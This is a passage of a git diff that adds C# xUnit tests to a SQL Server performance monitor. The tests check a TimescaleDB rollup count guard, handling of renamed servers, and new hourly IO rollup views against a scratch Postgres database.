+                $"INSERT INTO collect.query_stats_hour_ledger (server_id, server_name, bucket, n) VALUES ({ServerGhost}, '{NameGhost}', '2026-01-05 01:00:00', 5)", ct);
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(1L, await GuardAsync(connection, null, ct));
+            /* The ghost server has no registry row, so the by-id scope cannot see it (#5525): only the runner's unregistered-name arm
+               ($4) matches it on the row's stored name, exactly as the panel read does. */
+            Assert.Equal(0L, await GuardAsync(connection, new[] { NameGhost }, ct));
+            Assert.Equal(1L, await GuardAsync(connection, new[] { NameGhost }, ct, unregistered: new[] { NameGhost }));
+
+            /* A ledger count above the rollup's fails, and a recount heals both: it sets the pair to raw's count and deletes
+               the ghost row, which has no raw rows. */
+            await ExecuteAsync(connection, $"UPDATE collect.query_stats_hour_ledger SET n = n + 1 WHERE server_id = {ServerA} AND bucket = '2026-01-05 01:00:00'", ct);
+            Assert.Equal(1L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(2L, await GuardAsync(connection, null, ct));
+            await RecountAsync(connection, ct);
+            Assert.Equal(0L, await GuardAsync(connection, null, ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE server_id = -944104", ct));
+
+            /* A pair the ledger lacks (a writer that did not count) fails: the rollup has rows the ledger never counted. */
+            await ExecuteAsync(connection, $"DELETE FROM collect.query_stats_hour_ledger WHERE server_id = {ServerA} AND bucket = '2026-01-05 02:00:00'", ct);
+            Assert.Equal(1L, await GuardAsync(connection, scope, ct));
+            await RecountAsync(connection, ct);
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+
+            /* A window that starts before counted_since is not covered: -1, never a pass, and never a count even when a
+               count would disagree too. A window that starts at or after it is judged as ever. */
+            await QueryStatsLedgerSeed.SetCountedSinceAsync(connection, H1.AddHours(1), ct);
+            Assert.Equal(-1L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(-1L, await GuardAsync(connection, null, ct));
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct, H1.AddHours(1), H2));
+            await ExecuteAsync(connection,
+                $"INSERT INTO collect.query_stats_hour_ledger (server_id, server_name, bucket, n) VALUES ({ServerGhost}, '{NameGhost}', '2026-01-05 02:00:00', 5)", ct);
+            Assert.Equal(-1L, await GuardAsync(connection, null, ct));
+            Assert.Equal(1L, await GuardAsync(connection, null, ct, H1.AddHours(1), H2));
+            await ExecuteAsync(connection, $"DELETE FROM collect.query_stats_hour_ledger WHERE server_id = {ServerGhost}", ct);
+            await QueryStatsLedgerSeed.SetCountedSinceAsync(connection, H1, ct);
+            Assert.Equal(0L, await GuardAsync(connection, null, ct));
+
+            /* No state row: nothing says where counting began, so the window is not covered either. */
+            await ExecuteAsync(connection, "DELETE FROM collect.query_stats_hour_ledger_state", ct);
+            Assert.Equal(-1L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(-1L, await GuardAsync(connection, null, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                var schedulers = Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt));
+                Assert.Equal(0L, schedulers);
+            });
+        }
+    }
+
+    /// <summary>
+    /// #5525: the guard proves the rollup over the scope the panel read takes. A server renamed in the registry keeps its earlier
+    /// hours under the earlier name, in both the ledger and the rollup; the read, scoped by id, takes them, so the guard must compare
+    /// them. Scoped by the current name alone (the old shape) it saw only the hours stored under that name and passed a short
+    /// rollup hour of the earlier name.
+    /// </summary>
+    [Fact]
+    public async Task TheGuard_ComparesARenamedServersEarlierNameHours_ById()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live count-guard test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            const int renamed = -944105;
+            await DarlingMcpTestData.RegisterServerAsync(connection, renamed, "GuardBeforeRename", ct);
+
+            /* Three hours under the earlier name, then the registry row is renamed and one more hour is written under the new name. */
+            for (var h = 0; h < 3; h++)
+            {
+                await PlantAsync(connection, ct, renamed, "GuardBeforeRename", H1.AddHours(h).AddMinutes(10), 3600, "0xGR1");
+            }
+
+            await ExecuteAsync(connection, $"UPDATE collect.servers SET server_name = 'GuardAfterRename' WHERE server_id = {renamed}", ct);
+            await PlantAsync(connection, ct, renamed, "GuardAfterRename", H1.AddHours(2).AddMinutes(40), 3600, "0xGR2");
+
+            await RefreshAsync(connection, H1, H2, ct);
+            await RecountAsync(connection, ct);
+            await QueryStatsLedgerSeed.SetCountedSinceAsync(connection, H1, ct);
+
+            var scope = new[] { "GuardAfterRename" };
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+
+            /* One more row of the earlier name in a middle hour, counted into the ledger the way the writer counts it, after the
+               rollup refreshed: the earlier name's (server, hour) pair now disagrees. The scope names only the CURRENT name, and the
+               guard must still see the pair, because the panel read takes the server's rows under both names. */
+            await PlantAsync(connection, ct, renamed, "GuardBeforeRename", H1.AddHours(1).AddMinutes(50), 3600, "0xGR1");
+            await RecountAsync(connection, ct);
+            Assert.Equal(1L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(1L, await GuardAsync(connection, null, ct));
+
+            await RefreshAsync(connection, H1, H2, ct);
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+            });
+        }
+    }
+
+    /// <summary>Migrates the scratch store, makes the hourly rollup, stops the TimescaleDB scheduler and registers the three servers.</summary>
+    private static async Task PrepareStoreAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live count-guard test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await ExecuteAsync(connection, "SELECT _timescaledb_functions.stop_background_workers()", ct);
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerA, NameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerB, NameB, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerC, NameC, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+    }
+
+    /// <summary>The guard over <c>[from, to)</c>, the three-hour window by default. <paramref name="unregistered"/> binds the runner's
+    /// unregistered-name list (<c>$4</c>) the way the panel runner does: only when the run has any.</summary>
+    private static async Task<long> GuardAsync(
+        NpgsqlConnection connection, string[]? servers, CancellationToken ct, DateTime? from = null, DateTime? to = null, string[]? unregistered = null)
+    {
+        await using var command = new NpgsqlCommand(IntervalRollupCountGuard.SqlFor(unregistered is { Length: > 0 }), connection);
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = from ?? H1 });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = to ?? H2 });
+        command.Parameters.Add(new NpgsqlParameter
+        {
+            NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text,
+            Value = servers is null ? DBNull.Value : servers,
+        });
+        if (unregistered is { Length: > 0 })
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = unregistered });
+        }
+
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct));
+    }
+
+    /// <summary>Plays the writer's part for every hour the facts plant into, the hour at the exclusive end included.</summary>
+    private static Task RecountAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        QueryStatsLedgerSeed.RecountAsync(connection, H1, H2.AddHours(1), ct);
+
+    private static string LedgerN(int serverId, DateTime bucket) =>
+        string.Create(CultureInfo.InvariantCulture,
+            $"SELECT n FROM collect.query_stats_hour_ledger WHERE server_id = {serverId} AND bucket = '{bucket:yyyy-MM-dd HH:mm:ss}'");
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct));
+    }
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task PlantAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, int? intervalSeconds, string queryHash)
+    {
+        await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.query_stats
+    (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+     delta_worker_time, delta_elapsed_time, delta_execution_count, sample_interval_seconds)
+VALUES ($1, $2, $3, $4, 'GuardDb', $5, $5, 1000, 900, 1, $6)", connection);
+        insert.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DarlingMcpTestData.TruncateToSeconds(at) });
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(serverName);
+        insert.Parameters.AddWithValue(queryHash);
+        insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = intervalSeconds.HasValue ? intervalSeconds.Value : DBNull.Value });
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task RefreshAsync(NpgsqlConnection connection, DateTime from, DateTime to, CancellationToken ct)
+    {
+        await using var refresh = new NpgsqlCommand(
+            $"CALL refresh_continuous_aggregate('collect.{TimescaleSupport.QueryStatsIntervalHourlyView}'::regclass, $1::timestamp, $2::timestamp)", connection);
+        refresh.Parameters.AddWithValue(from);
+        refresh.Parameters.AddWithValue(to);
+        await refresh.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/IoHourlyRollupTests.cs b/Darling/Darling.Tests/IoHourlyRollupTests.cs
new file mode 100644
index 0000000000..e9cdd914f5
--- /dev/null
+++ b/Darling/Darling.Tests/IoHourlyRollupTests.cs
@@ -0,0 +1,347 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5329 lane A: the two hourly rollups that keep logical reads (<c>query_stats_io_hourly</c> and
+/// <c>procedure_stats_io_hourly</c>), pinned without a database. The text is the interval sibling's plus three
+/// sums; the registrations follow the ruling (leaf retention rule, NOT in the raw purge gate, NOT in the
+/// stitch list).
+/// </summary>
+public sealed class IoHourlyRollupRegistrationTests
+{
+    private static readonly (string View, string Sibling, string Create, string SiblingCreate)[] Pairs =
+    [
+        (TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.QueryStatsIntervalHourlyView,
+            TimescaleSupport.CreateQueryStatsIoHourlySql, TimescaleSupport.CreateQueryStatsIntervalHourlySql),
+        (TimescaleSupport.ProcedureStatsIoHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView,
+            TimescaleSupport.CreateProcedureStatsIoHourlySql, TimescaleSupport.CreateProcedureStatsIntervalHourlySql),
+    ];
+
+    [Fact]
+    public void EachIoRollup_IsItsIntervalSiblingsTextPlusTheThreeIoSums()
+    {
+        foreach (var (view, sibling, create, siblingCreate) in Pairs)
+        {
+            Assert.StartsWith($"CREATE MATERIALIZED VIEW IF NOT EXISTS collect.{view}", create, StringComparison.Ordinal);
+            Assert.Contains("WITH NO DATA", create, StringComparison.Ordinal);
+            Assert.DoesNotContain("materialized_only", create, StringComparison.Ordinal);
+            Assert.Contains("WHERE sample_interval_seconds IS DISTINCT FROM 0", create, StringComparison.Ordinal);
+            Assert.Equal(TimescaleSupport.RefreshGroupingTermsFor(siblingCreate), TimescaleSupport.RefreshGroupingTermsFor(create));
+            Assert.Equal(
+                Regex.Match(siblingCreate, @"\bFROM\s+collect\.(\w+)").Groups[1].Value,
+                Regex.Match(create, @"\bFROM\s+collect\.(\w+)").Groups[1].Value);
+
+            /* every sibling select item survives under the same alias */
+            foreach (Match item in Regex.Matches(siblingCreate, @"\b(\w+\([^)]*\)) AS (\w+)"))
+            {
+                Assert.Contains($"{item.Groups[1].Value} AS {item.Groups[2].Value}", create, StringComparison.Ordinal);
+            }
+
+            Assert.Contains("sum(delta_logical_reads) AS logical_reads_sum", create, StringComparison.Ordinal);
+            Assert.Contains("sum(delta_physical_reads) AS physical_reads_sum", create, StringComparison.Ordinal);
+            Assert.Contains("sum(delta_logical_writes) AS logical_writes_sum", create, StringComparison.Ordinal);
+            Assert.DoesNotContain("logical_reads_sum", siblingCreate, StringComparison.Ordinal);
+            Assert.NotEqual(sibling, view);
+        }
+    }
+
+    [Fact]
+    public void EachIoRollup_IsRegisteredWhereTheRulingSays_AndNowhereElse()
+    {
+        foreach (var (view, _, create, _) in Pairs)
+        {
+            Assert.Contains(TimescaleSupport.HourlyAggregates, a => a.View == view && a.CreateSql == create);
+            Assert.DoesNotContain(TimescaleSupport.DailyAggregates, a => a.View == view);
+            Assert.Contains($"to_regclass('collect.{view}') IS NOT NULL", TimescaleSupport.RollupProbeSql, StringComparison.Ordinal);
+            Assert.True(RollupAvailability.All.Has(view));
+            Assert.False(RollupAvailability.WithoutIoHourlies.Has(view));
+            Assert.True(RollupAvailability.WithoutIoHourlies.Has(TimescaleSupport.QueryStatsIntervalDailyView));
+
+            var row = TimescaleSupport.RollupViews.Single(r => r.View == view);
+            Assert.Equal("collection_time", row.SourceTimeColumn);
+            Assert.Equal(TimescaleSupport.HourlyBucket, row.BucketWidth);
+            Assert.False(RollupBackfill.Targets.Single(t => t.View == view).IsHierarchical);
+
+            /* THE LEAF RULE: 90 days, Coverage is itself; not in the raw purge gate, not stitched. */
+            var policy = TimescaleSupport.RetentionPolicies.Single(p => p.Relation == view);
+            Assert.Equal(TimescaleSupport.HourlyRetentionInterval, policy.DropAfter);
+            Assert.Equal("bucket", policy.TimeColumn);
+            Assert.Equal(new[] { view }, policy.Coverage);
+            Assert.All(TimescaleSupport.RawTierCoverage, tier => Assert.DoesNotContain(view, tier.Coverage));
+            Assert.DoesNotContain(TimescaleSupport.SupersededHourlyRollups, s => s.Legacy == view || s.Successor == view);
+            Assert.True(TimescaleSupport.IsAggregateCompressionTarget(view));
+        }
+
+        Assert.False(RollupAvailability.WithoutIoHourlies.AllPresent);
+        Assert.True(RollupAvailability.All.AllPresent);
+    }
+
+    [Fact]
+    public void TheGrid_GivesTheQueryIoViewTheFourthUnboundedPosition_AndTheBandHoldsNoFifth()
+    {
+        Assert.True(TimescaleSupport.IsUnboundedCardinalityRefresh(TimescaleSupport.QueryStatsIoHourlyView));
+        Assert.False(TimescaleSupport.IsUnboundedCardinalityRefresh(TimescaleSupport.ProcedureStatsIoHourlyView));
+
+        /* band index 12 of 0-13: the 4th unbounded member takes 3 * 4 */
+        Assert.Equal(12, TimescaleSupport.RefreshPhaseMinutesFor(TimescaleSupport.QueryStatsIoHourlyView));
+        Assert.Equal(
+            4,
+            TimescaleSupport.HourlyRefreshPhaseOrder.Count(v =>
+                v != TimescaleSupport.HeaviestHourlyRefreshView && TimescaleSupport.IsUnboundedCardinalityRefresh(v)));
+        Assert.True(TimescaleSupport.LightBandHoldsUnboundedRefreshCount(4));
+        Assert.False(TimescaleSupport.LightBandHoldsUnboundedRefreshCount(5));
+
+        /* compression: 22 of the 23 hours; appending moved the daily and baseline members by +2 */
+        Assert.Equal(22, TimescaleSupport.AggregateCompressionTargets.Count);
+        Assert.Equal(9, TimescaleSupport.AggregateCompressionBandHourFor(TimescaleSupport.QueryStoreStatsDailyView));
+        Assert.Equal(7, TimescaleSupport.AggregateCompressionBandHourFor(TimescaleSupport.QueryStatsIoHourlyView));
+        Assert.Equal(8, TimescaleSupport.AggregateCompressionBandHourFor(TimescaleSupport.ProcedureStatsIoHourlyView));
+        Assert.Equal(22, TimescaleSupport.AggregateCompressionBandHourFor(TimescaleSupport.MemoryBaselineView));
+    }
+}
+
+/// <summary>
+/// The deterministic seed lane B's oracle reuses: rows in <c>collect.query_stats</c> and
+/// <c>collect.procedure_stats</c> over <see cref="Hours"/> hourly buckets from a window start, with a NULL-reads
+/// row, a reads tie, a zero-interval row (the rollups' WHERE drops it), two sql_handles under one query_hash and
+/// two databases. Refresh from the window start to <see cref="Hours"/> + 1 hours after it.
+/// </summary>
+internal static class IoRollupOracleSeed
+{
+    internal const int Hours = 4;
+
+    internal static async Task PlantAsync(NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime windowStart)
+    {
+        for (var hour = 0; hour < Hours; hour++)
+        {
+            var at = windowStart.AddHours(hour).AddMinutes(10);
+            // name, db, handle, reads (null = unknown), interval, cpu
+            (string Name, string Db, string Handle, long? Reads, int? Interval, long Cpu)[] rows =
+            [
+                ("A", "SeedDb1", "h1", 5_000 + hour, 3600, 100 + hour),
+                ("A", "SeedDb1", "h2", 5_000, 3600, 50),       // same query_hash, second handle
+                ("B", "SeedDb1", "h3", 5_000 + hour, 3600, 70), // ties A's h1 at hour 0
+                ("C", "SeedDb2", "h4", null, 3600, 90),         // NULL reads
+                ("D", "SeedDb2", "h5", 9_999_999, 0, 1_000),    // zero interval: excluded by the rollups
+                ("E", "SeedDb2", "h6", 12, null, 5),            // NULL interval: IS DISTINCT FROM 0 keeps it
+            ];
+            foreach (var row in rows)
+            {
+                await InsertAsync(connection, ct, "collect.query_stats",
+                    "query_hash, sql_handle", "$6, $7", row.Name, serverId, serverName, at, row.Db, row.Handle, row.Reads, row.Interval, row.Cpu, "'dbo'");
+                await InsertAsync(connection, ct, "collect.procedure_stats",
+                    "schema_name, object_name, sql_handle", "'dbo', $6, $7", row.Name, serverId, serverName, at, row.Db, row.Handle, row.Reads, row.Interval, row.Cpu, "");
+            }
+        }
+    }
+
+    private static async Task InsertAsync(
+        NpgsqlConnection connection, CancellationToken ct, string table, string keyColumns, string keyValues,
+        string name, int serverId, string serverName, DateTime at, string db, string handle, long? reads, int? interval, long cpu, string unused)
+    {
+        _ = unused;
+        var key = table.EndsWith("query_stats", StringComparison.Ordinal) ? "0xQH" + name : "usp_" + name;
+        await using var command = new NpgsqlCommand(
+            $@"INSERT INTO {table}
+                   (collection_id, collection_time, server_id, server_name, database_name, {keyColumns},
+                    delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, delta_physical_reads,
+                    delta_logical_writes, sample_interval_seconds)
+               VALUES ($1, $2, $3, $4, $5, {keyValues}, $8, $9, $10, $11, $12, $13, $14)",
+            connection);
+        command.Parameters.AddWithValue(CollectionIdGenerator.Next());
+        command.Parameters.AddWithValue(at);
+        command.Parameters.AddWithValue(serverId);
+        command.Parameters.AddWithValue(serverName);
+        command.Parameters.AddWithValue(db);
+        command.Parameters.AddWithValue(key);
+        command.Parameters.AddWithValue(handle);
+        command.Parameters.AddWithValue(3L);
+        command.Parameters.AddWithValue(cpu);
+        command.Parameters.AddWithValue(cpu * 2);
+        command.Parameters.AddWithValue((object?)reads ?? DBNull.Value);
+        command.Parameters.AddWithValue(reads is { } r ? r / 10 : (object)DBNull.Value);
+        command.Parameters.AddWithValue(cpu / 5);
+        command.Parameters.AddWithValue((object?)interval ?? DBNull.Value);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
+
+/* #1776 own-store: each test mints a scratch database, because it materializes continuous aggregates and drops one,
+   which no other class sharing the store may see. */
+/// <summary>
+/// #5329 lane A, live: after a refresh the io rollups' shared columns equal the interval siblings' for the same
+/// seed, and the three sums equal raw's sums per bucket; a store missing one view reports exactly that view
+/// missing, the next ensure sweep builds it, and a rerun builds nothing.
+/// </summary>
+public sealed class IoHourlyRollupLiveTests
+{
+    private const int ServerId = -953290;
+    private const string ServerName = "a5329-io-rollups";
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+
+    private static readonly string[] SharedQueryColumns =
+    [
+        "server_id", "server_name", "database_name", "query_hash", "sql_handle", "bucket",
+        "worker_time_sum", "worker_time_min", "worker_time_max", "elapsed_time_sum", "elapsed_time_min", "elapsed_time_max",
+        "execution_count_sum", "execution_count_min", "execution_count_max", "sample_interval_seconds_sum", "sample_count",
+    ];
+
+    private static readonly string[] SharedProcedureColumns =
+    [
+        "server_id", "server_name", "database_name", "schema_name", "object_name", "bucket",
+        "worker_time_sum", "worker_time_min", "worker_time_max", "elapsed_time_sum", "elapsed_time_min", "elapsed_time_max",
+        "execution_count_sum", "execution_count_min", "execution_count_max", "sample_interval_seconds_sum", "sample_count",
+    ];
+
+    [Fact]
+    public Task AfterARefresh_IoSharedColumnsEqualTheIntervalSibling_AndTheSumsEqualRawsPerBucket() =>
+        WithStoreAsync(async (connection, ct) =>
+        {
+            await IoRollupOracleSeed.PlantAsync(connection, ct, ServerId, ServerName, WindowStart);
+            var to = WindowStart.AddHours(IoRollupOracleSeed.Hours + 1);
+            foreach (var view in new[]
+            {
+                TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.QueryStatsIoHourlyView,
+                TimescaleSupport.ProcedureStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIoHourlyView,
+            })
+            {
+                await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+                refresh.Parameters.AddWithValue(WindowStart);
+                refresh.Parameters.AddWithValue(to);
+                await refresh.ExecuteNonQueryAsync(ct);
+            }
+
+            foreach (var (io, sibling, columns, raw, keys) in new[]
+            {
+                (TimescaleSupport.QueryStatsIoHourlyView, TimescaleSupport.QueryStatsIntervalHourlyView, SharedQueryColumns, "collect.query_stats", "query_hash, sql_handle"),
+                (TimescaleSupport.ProcedureStatsIoHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView, SharedProcedureColumns, "collect.procedure_stats", "schema_name, object_name"),
+            })
+            {
+                var list = string.Join(", ", columns);
+                var siblingRows = await ScalarAsync(connection, ct,
+                    $"SELECT count(*) FROM collect.{sibling} WHERE server_id = {ServerId}");
+                Assert.True(siblingRows > 0, $"{sibling} is empty, so the equality below proves nothing");
+                var diff = await ScalarAsync(connection, ct,
+                    $@"SELECT count(*) FROM (
+                          (SELECT {list} FROM collect.{io} WHERE server_id = {ServerId} EXCEPT SELECT {list} FROM collect.{sibling} WHERE server_id = {ServerId})
+                          UNION ALL
+                          (SELECT {list} FROM collect.{sibling} WHERE server_id = {ServerId} EXCEPT SELECT {list} FROM collect.{io} WHERE server_id = {ServerId})) d");
+                Assert.Equal(0L, diff);
+                Assert.Equal(siblingRows, await ScalarAsync(connection, ct, $"SELECT count(*) FROM collect.{io} WHERE server_id = {ServerId}"));
+
+                /* the three sums equal raw's, per group and bucket, under the rollup's own WHERE; the NULL-reads
+                   group stays NULL and the zero-interval row's 9,999,999 reads are in neither */
+                var sumDiff = await ScalarAsync(connection, ct,
+                    $@"SELECT count(*) FROM (
+                          SELECT server_id, server_name, database_name, {keys}, time_bucket('1 hour', collection_time) AS bucket,
+                                 sum(delta_logical_reads) AS l, sum(delta_physical_reads) AS p, sum(delta_logical_writes) AS w
+                          FROM {raw} WHERE server_id = {ServerId} AND sample_interval_seconds IS DISTINCT FROM 0
+                          GROUP BY server_id, server_name, database_name, {keys}, bucket) r
+                       FULL JOIN (SELECT server_id, server_name, database_name, {keys}, bucket,
+                                         logical_reads_sum AS l, physical_reads_sum AS p, logical_writes_sum AS w
+                                  FROM collect.{io} WHERE server_id = {ServerId}) v
+                         USING (server_id, server_name, database_name, {keys.Replace(", ", ", ")}, bucket)
+                       WHERE r.l IS DISTINCT FROM v.l OR r.p IS DISTINCT FROM v.p OR r.w IS DISTINCT FROM v.w");
+                Assert.Equal(0L, sumDiff);
+                Assert.True(await ScalarAsync(connection, ct,
+                    $"SELECT count(*) FROM collect.{io} WHERE server_id = {ServerId} AND logical_reads_sum IS NULL") > 0, "the NULL-reads group should stay NULL");
+                Assert.Equal(0L, await ScalarAsync(connection, ct,
+                    $"SELECT count(*) FROM collect.{io} WHERE server_id = {ServerId} AND logical_reads_sum >= 9999999"));
+            }
+        });
+
+    [Fact]
+    public Task AStoreMissingOneIoView_ReportsItMissingPerView_TheNextSweepBuildsIt_AndARerunBuildsNothing() =>
+        WithStoreAsync(async (connection, ct) =>
+        {
+            Assert.True((await DetectAsync(connection, ct)).AllPresent);
+
+            await using (var drop = new NpgsqlCommand($"DROP MATERIALIZED VIEW collect.{TimescaleSupport.ProcedureStatsIoHourlyView}", connection))
+            {
+                await drop.ExecuteNonQueryAsync(ct);
+            }
+
+            var missing = await DetectAsync(connection, ct);
+            Assert.True(missing.QueryGrainIoHourly);
+            Assert.False(missing.ProcedureGrainIoHourly);
+            Assert.False(missing.AllPresent);
+
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+            Assert.True((await DetectAsync(connection, ct)).AllPresent);
+
+            var before = await ScalarAsync(connection, ct,
+                "SELECT count(*) FROM timescaledb_information.continuous_aggregates WHERE view_schema = 'collect'");
+            await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+            Assert.Equal(before, await ScalarAsync(connection, ct,
+                "SELECT count(*) FROM timescaledb_information.continuous_aggregates WHERE view_schema = 'collect'"));
+        });
+
+    private static async Task<RollupAvailability> DetectAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var source = NpgsqlDataSource.Create(connection.ConnectionString);
+        return await TimescaleSupport.DetectRollupsAsync(source, ct);
+    }
+
+    private static async Task<long> ScalarAsync(NpgsqlConnection connection, CancellationToken ct, string sql)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return Convert.ToInt64(await command.ExecuteScalarAsync(ct));
+    }
+
+    private static async Task WithStoreAsync(Func<NpgsqlConnection, CancellationToken, Task> body)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live #5329 io rollup tests.");
+        var ct = TestContext.Current.CancellationToken;
+
+        /* #1776 own-store: a scratch database of its own, so the scheduler stop below cannot race another fixture */
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live #5329 io rollup tests need TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            await body(connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, (_, _) => Task.CompletedTask);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/JobHistoryCountTextTests.cs b/Darling/Darling.Tests/JobHistoryCountTextTests.cs
new file mode 100644
index 0000000000..492b1d12d0
--- /dev/null
+++ b/Darling/Darling.Tests/JobHistoryCountTextTests.cs
@@ -0,0 +1,96 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Common;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: the Job History tab's count text keeps its cap label whenever the READ reached the cap. The viewer's column-filter
